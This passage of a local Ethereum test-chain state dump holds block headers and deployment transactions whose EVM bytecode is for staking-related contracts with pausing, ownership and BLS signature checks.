57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x8416da7e4fb5d6ffedac4721cb865052eeb1cc18da03f16bcd9125bbe987ebc3","s":"0x70041141ec9719a30267f4007d3cedebb5e50ff76f22a0e331ca9c40e2dae6b2","yParity":"0x1","hash":"0xa361a3efc5988988fae8b8032691e7dafbdcf1d0731fbb34765174e0d70efa09"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x8eecd2201ca2fdea7d1a691a450ac2195037df85b0ac1dc9384b81dc86d4ac37","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x5650068a335c87e6ab809a71550bc6239364728386d6b85c4b43140d1dc382c4","transactionsRoot":"0x590d6a013d148ea2398c192c392ebddd3244b02b231d5640b5dc3bbf7a174bc5","receiptsRoot":"0x74d352daef0db463bd89efc19a24a63a5acb9ed62852c407d007d0336d63e9f9","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x8","gasLimit":"0x1c9c380","gasUsed":"0x48d347","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1afebb26","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x30","gas":"0x5ea4ea","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61018060405234801561001157600080fd5b506040516159d23803806159d2833981016040819052610030916103fb565b6001600160a01b0380851660805280841660a05280831660c052811660e052818484828461005c610327565b50505050806001600160a01b0316610100816001600160a01b031681525050806001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100dd919061045a565b6001600160a01b0316610120816001600160a01b031681525050806001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610135573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610159919061045a565b6001600160a01b0316610140816001600160a01b031681525050610120516001600160a01b031663df5cf7236040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d8919061045a565b6001600160a01b03908116610160528516905061022c57604051630b0f5aa160e11b815260206004820152600c60248201526b6176734469726563746f727960a01b60448201526064015b60405180910390fd5b6001600160a01b03831661027857604051630b0f5aa160e11b81526020600482015260126024820152713932bbb0b93239a1b7b7b93234b730ba37b960711b6044820152606401610223565b6001600160a01b0382166102cf57604051630b0f5aa160e11b815260206004820152601360248201527f7265676973747279436f6f7264696e61746f72000000000000000000000000006044820152606401610223565b6001600160a01b03811661031657604051630b0f5aa160e11b815260206004820152600d60248201526c7374616b65526567697374727960981b6044820152606401610223565b61031e610327565b5050505061047e565b600054610100900460ff161561038f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b6064820152608401610223565b60005460ff90811610156103e1576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146103f857600080fd5b50565b6000806000806080858703121561041157600080fd5b845161041c816103e3565b602086015190945061042d816103e3565b604086015190935061043e816103e3565b606086015190925061044f816103e3565b939692955090935050565b60006020828403121561046c57600080fd5b8151610477816103e3565b9392505050565b60805160a05160c05160e0516101005161012051610140516101605161544761058b600039600081816106fa015261190101526000818161041d0152611b1401526000818161045101528181611d010152611ef10152600081816104b801528181611133015281816115c70152818161176e01526119b5015260008181610e6801528181610fb90152818161105001528181612c7c01528181612df50152612e94015260008181610c8f01528181610d1e01528181610d9e0152818161228a0152818161235601528181612bb70152612d5001526000818161324b0152818161330701526133ea015260008181610482015281816122de015281816123b2015261243101526154476000f3fe6080604052600436106102345760003560e01c806395c6d6041161012e578063df5cf723116100ab578063f9120af61161006f578063f9120af614610794578063fa534dc0146107b4578063fc299dee146107d4578063fce36c7d146107f4578063fd4c3b7c1461081457600080fd5b8063df5cf723146106e8578063e481af9d1461071c578063ea5ca34b14610731578063f2fde38b14610747578063f474b5201461076757600080fd5b8063b099627e116100f2578063b099627e14610611578063b753645e1461067b578063b98d09081461069b578063c0c53b8b146106b5578063d66eaabd146106d557600080fd5b806395c6d604146105715780639926ee7d14610591578063a364f4da146105b1578063a98fb355146105d1578063ab21739a146105f157600080fd5b80634a5bf632116101bc5780636d14a987116101805780636d14a987146104a657806370a08231146104da578063715018a61461051e578063800fb61f146105335780638da5cb5b1461055357600080fd5b80634a5bf632146103a55780634ae07c37146103dd5780635df459461461040b578063683048351461043f5780636b3aa72e1461047357600080fd5b80632e1a7d4d116102035780632e1a7d4d1461030557806333cfb7b7146103255780633bc28c8c14610352578063416c7e5e146103725780634223d5511461039257600080fd5b806306045a911461024a578063137122b51461027f578063171f1d5b146102ae57806318daeeaf146102e557600080fd5b36610245576102433334610834565b005b600080fd5b34801561025657600080fd5b5061026a6102653660046143b0565b6108c9565b60405190151581526020015b60405180910390f35b34801561028b57600080fd5b5061026a61029a366004614451565b60cc54600160ff9092169190911b16151590565b3480156102ba57600080fd5b506102ce6102c936600461452f565b6109c0565b604080519215158352901515602083015201610276565b3480156102f157600080fd5b50610243610300366004614451565b610b4a565b34801561031157600080fd5b50610243610320366004614580565b610b92565b34801561033157600080fd5b50610345610340366004614599565b610c6a565b60405161027691906145b6565b34801561035e57600080fd5b5061024361036d366004614599565b61111d565b34801561037e57600080fd5b5061024361038d366004614605565b611131565b6102436103a0366004614599565b611268565b3480156103b157600080fd5b5060cb546103c5906001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103e957600080fd5b506103fd6103f83660046148fd565b611272565b604051610276929190614998565b34801561041757600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b34801561044b57600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b34801561047f57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006103c5565b3480156104b257600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b3480156104e657600080fd5b506105106104f5366004614599565b6001600160a01b0316600090815260ca602052604090205490565b604051908152602001610276565b34801561052a57600080fd5b506102436121a6565b34801561053f57600080fd5b5061024361054e366004614599565b6121ba565b34801561055f57600080fd5b506033546001600160a01b03166103c5565b34801561057d57600080fd5b5061026a61058c366004614a29565b61225a565b34801561059d57600080fd5b506102436105ac366004614a74565b61227f565b3480156105bd57600080fd5b506102436105cc366004614599565b61234b565b3480156105dd57600080fd5b506102436105ec366004614b2b565b612412565b3480156105fd57600080fd5b5061024361060c366004614b7b565b612466565b34801561061d57600080fd5b5061065961062c366004614580565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff9094168452911515602084015290820152606001610276565b34801561068757600080fd5b50610243610696366004614580565b612825565b3480156106a757600080fd5b5060975461026a9060ff1681565b3480156106c157600080fd5b506102436106d0366004614ba2565b612832565b6102436106e3366004614bed565b6129f7565b3480156106f457600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b34801561072857600080fd5b50610345612bb1565b34801561073d57600080fd5b5061051060cc5481565b34801561075357600080fd5b50610243610762366004614599565b612f5d565b34801561077357600080fd5b50610510610782366004614599565b60ca6020526000908152604090205481565b3480156107a057600080fd5b506102436107af366004614599565b612fd3565b3480156107c057600080fd5b5061026a6107cf366004614c3f565b612ffd565b3480156107e057600080fd5b506065546103c5906001600160a01b031681565b34801561080057600080fd5b5061024361080f366004614cbf565b613072565b34801561082057600080fd5b5061024361082f366004614451565b613421565b8060000361085d57604051632097692160e11b8152600481018290526024015b60405180910390fd5b6001600160a01b038216600090815260ca602052604081208054839290610885908490614d4a565b90915550506001600160a01b038216600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25050565b6000806001600160a01b0383166108e157508461090d565b85836040516020016108f4929190614d5d565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff1690036109325760009150506109b4565b600081815260c96020526040902054640100000000900460ff1661095a5760009150506109b4565b60408051602081018c90529081018a9052606081018990526001600160601b03198816608082015260009060940160408051601f19818403018152919052805160208201209091506109ae87898389613468565b93505050505b98975050505050505050565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610a0857610a08614d78565b60200201518951600160200201518a60200151600060028110610a2d57610a2d614d78565b60200201518b60200151600160028110610a4957610a49614d78565b602090810291909101518c518d830151604051610aa69a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610ac99190614d8e565b9050610b3c610ae2610adb8884613480565b8690613511565b610aea6135a6565b610b32610b2385610b1d604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613480565b610b2c8c613666565b90613511565b886201d4c06136f5565b909890975095505050505050565b610b5261390f565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b33600090815260ca6020526040902054811115610be35733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018390526044820152606401610854565b33600090815260ca602052604081208054839290610c02908490614db0565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a2604051339082156108fc029083906000818181858888f19350505050158015610c66573d6000803e3d6000fd5b5050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000000000000000000000000000000000000000000016906313542a4e90602401602060405180830381865afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa9190614dc3565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063871ef04990602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190614ddc565b90506001600160c01b0381161580610e2357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190614e05565b60ff16155b15610e435760408051600080825260208201909252905b50949350505050565b6000610e57826001600160c01b0316613969565b90506000805b8251811015610f23577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633ca5a5f5848381518110610ea757610ea7614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190614dc3565b610f199083614d4a565b9150600101610e5d565b506000816001600160401b03811115610f3e57610f3e614288565b604051908082528060200260200182016040528015610f67578160200160208202803683370190505b5090506000805b8451811015611110576000858281518110610f8b57610f8b614d78565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633ca5a5f590602401602060405180830381865afa158015611000573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110249190614dc3565b905060005b81811015611105576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa15801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c29190614e37565b600001518686815181106110d8576110d8614d78565b6001600160a01b0390921660209283029190910190910152846110fa81614e7a565b955050600101611029565b505050600101610f6e565b5090979650505050505050565b61112561390f565b61112e81613a2b565b50565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561118f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b39190614e93565b6001600160a01b0316336001600160a01b03161461125f5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a401610854565b61112e81613a94565b61112e8134610834565b604080518082019091526060808252602082015260008260400151516040518060400160405280600181526020016000815250511480156112ce57508260a0015151604051806040016040528060018152602001600081525051145b80156112f557508260c0015151604051806040016040528060018152602001600081525051145b801561131c57508260e0015151604051806040016040528060018152602001600081525051145b6113865760405162461bcd60e51b815260206004820152604160248201526000805160206153f283398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a401610854565b825151602084015151146113fe5760405162461bcd60e51b8152602060048201526044602482018190526000805160206153f2833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a401610854565b4363ffffffff168463ffffffff161061146d5760405162461bcd60e51b815260206004820152603c60248201526000805160206153f283398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b000000006064820152608401610854565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b0381111561152e5761152e614288565b604051908082528060200260200182016040528015611557578160200160208202803683370190505b5081526020860151516001600160401b0381111561157757611577614288565b6040519080825280602002602001820160405280156115a0578160200160208202803683370190505b508160200181905250600061164c60405180604001604052806001815260200160008152507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611623573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116479190614e05565b613adb565b905060005b8760200151518110156118dd576116968860200151828151811061167757611677614d78565b6020026020010151805160009081526020918201519091526040902090565b836020015182815181106116ac576116ac614d78565b6020908102919091010152801561176c5760208301516116cd600183614db0565b815181106116dd576116dd614d78565b602002602001015160001c836020015182815181106116fe576116fe614d78565b602002602001015160001c1161176c576040805162461bcd60e51b81526020600482015260248101919091526000805160206153f283398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f727465646064820152608401610854565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166304ec6351846020015183815181106117b1576117b1614d78565b60200260200101518b8b6000015185815181106117d0576117d0614d78565b60200260200101516040518463ffffffff1660e01b815260040161180d9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561182a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184e9190614ddc565b6001600160c01b03168360000151828151811061186d5761186d614d78565b6020026020010181815250506118d3610adb6118a7848660000151858151811061189957611899614d78565b602002602001015116613b6e565b8a6020015184815181106118bd576118bd614d78565b6020026020010151613b9990919063ffffffff16565b9450600101611651565b50506118e883613c7c565b60975490935060ff166000816118ff576000611981565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119819190614dc3565b905060005b604051806040016040528060018152602001600081525051811015612077578215611b12578963ffffffff16827f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611a0a57611a0a614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a729190614dc3565b611a7c9190614d4a565b11611b125760405162461bcd60e51b815260206004820152606660248201526000805160206153f283398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c401610854565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611b6957611b69614d78565b602001015160f81c60f81b60f81c8c8c60a001518581518110611b8e57611b8e614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0e9190614eb0565b6001600160401b031916611c318a60400151838151811061167757611677614d78565b67ffffffffffffffff191614611ccd5760405162461bcd60e51b815260206004820152606160248201526000805160206153f283398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c401610854565b611cfd89604001518281518110611ce657611ce6614d78565b60200260200101518761351190919063ffffffff16565b95507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c8294c5660405180604001604052806001815260200160008152508381518110611d5657611d56614d78565b602001015160f81c60f81b60f81c8c8c60c001518581518110611d7b57611d7b614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb9190614edb565b85602001518281518110611e1157611e11614d78565b6001600160601b03909216602092830291909101820152850151805182908110611e3d57611e3d614d78565b602002602001015185600001518281518110611e5b57611e5b614d78565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a602001515181101561206d57611eea86600001518281518110611ea557611ea5614d78565b602002602001015160405180604001604052806001815260200160008152508581518110611ed557611ed5614d78565b016020015160f81c60ff161c60019081161490565b15612065577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f2be94ae60405180604001604052806001815260200160008152508581518110611f4657611f46614d78565b602001015160f81c60f81b60f81c8e89602001518581518110611f6b57611f6b614d78565b60200260200101518f60e001518881518110611f8957611f89614d78565b60200260200101518781518110611fa257611fa2614d78565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612006573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202a9190614edb565b875180518590811061203e5761203e614d78565b602002602001018181516120529190614ef8565b6001600160601b03169052506001909101905b600101611e7f565b5050600101611986565b5050506000806120918a868a606001518b608001516109c0565b91509150816121025760405162461bcd60e51b815260206004820152604360248201526000805160206153f283398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a401610854565b806121635760405162461bcd60e51b815260206004820152603960248201526000805160206153f283398151915260448201527f7265733a207369676e617475726520697320696e76616c6964000000000000006064820152608401610854565b5050600087826020015160405160200161217e929190614f17565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b6121ae61390f565b6121b86000613d17565b565b600054600290610100900460ff161580156121dc575060005460ff8083169116105b6121f85760405162461bcd60e51b815260040161085490614f5f565b6000805461ffff191660ff83161761010017905561221582612fd3565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b600081848460405161226d929190614fad565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146122c75760405162461bcd60e51b815260040161085490614fbd565b604051639926ee7d60e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690639926ee7d90612315908590859060040161507b565b600060405180830381600087803b15801561232f57600080fd5b505af1158015612343573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146123935760405162461bcd60e51b815260040161085490614fbd565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da906024015b600060405180830381600087803b1580156123f757600080fd5b505af115801561240b573d6000803e3d6000fd5b5050505050565b61241a61390f565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a98fb355906123dd9084906004016150c6565b60cb546001600160a01b031633146124a65760cb54604051632cbe419560e01b81523360048201526001600160a01b039091166024820152604401610854565b60005a9050600084846040516020016124c0929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612515576040516311cb69a760e11b815260048101839052602401610854565b8054640100000000900460ff161561254357604051634e78d7f960e11b815260048101839052602401610854565b805464ff00000000191664010000000017815560018101546001600160a01b038616600090815260ca602052604090205410156125c65760018101546001600160a01b038616600081815260ca602052604090819020549051632e2a182f60e11b8152600481019290925260248201929092526044810191909152606401610854565b80546000906125dd90849063ffffffff1687611272565b509050604360ff1681602001516000815181106125fc576125fc614d78565b602002602001015161260e91906150d9565b6001600160601b03166064826000015160008151811061263057612630614d78565b60200260200101516001600160601b031661264b9190615102565b10156126de576064816000015160008151811061266a5761266a614d78565b60200260200101516001600160601b03166126859190615102565b604360ff1682602001516000815181106126a1576126a1614d78565b60200260200101516126b391906150d9565b60405163530f5c4560e11b815260048101929092526001600160601b03166024820152604401610854565b6040516001600160a01b038716815287907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a61272a9087614db0565b6127379062011170614d4a565b6127419190615102565b9050826001015481111561277857600183015460405163437e283f60e11b8152600481019190915260248101829052604401610854565b6001600160a01b038716600090815260ca6020526040812080548392906127a0908490614db0565b90915550506001600160a01b038716600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561281a573d6000803e3d6000fd5b505050505050505050565b61282d61390f565b60cc55565b600054610100900460ff16158080156128525750600054600160ff909116105b8061286c5750303b15801561286c575060005460ff166001145b6128885760405162461bcd60e51b815260040161085490614f5f565b6000805460ff1916600117905580156128ab576000805461ff0019166101001790555b6001600160a01b0384166128f157604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b6044820152606401610854565b6001600160a01b03831661293b57604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b6044820152606401610854565b6001600160a01b03821661298657604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b6044820152606401610854565b6129908484613d69565b60cb80546001600160a01b0319166001600160a01b03841617905580156129f1576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60008433604051602001612a0c929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612a5b57604051630c40bc4360e21b815260048101829052602401610854565b3415612ab85733600090815260ca602052604081208054349290612a80908490614d4a565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25b33600090815260ca6020526040902054821115612b095733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018490526044820152606401610854565b604080516060810182526000602080830182815263ffffffff43818116865285870189815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909187917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612ba1913391908a908a908a90615119565b6040518091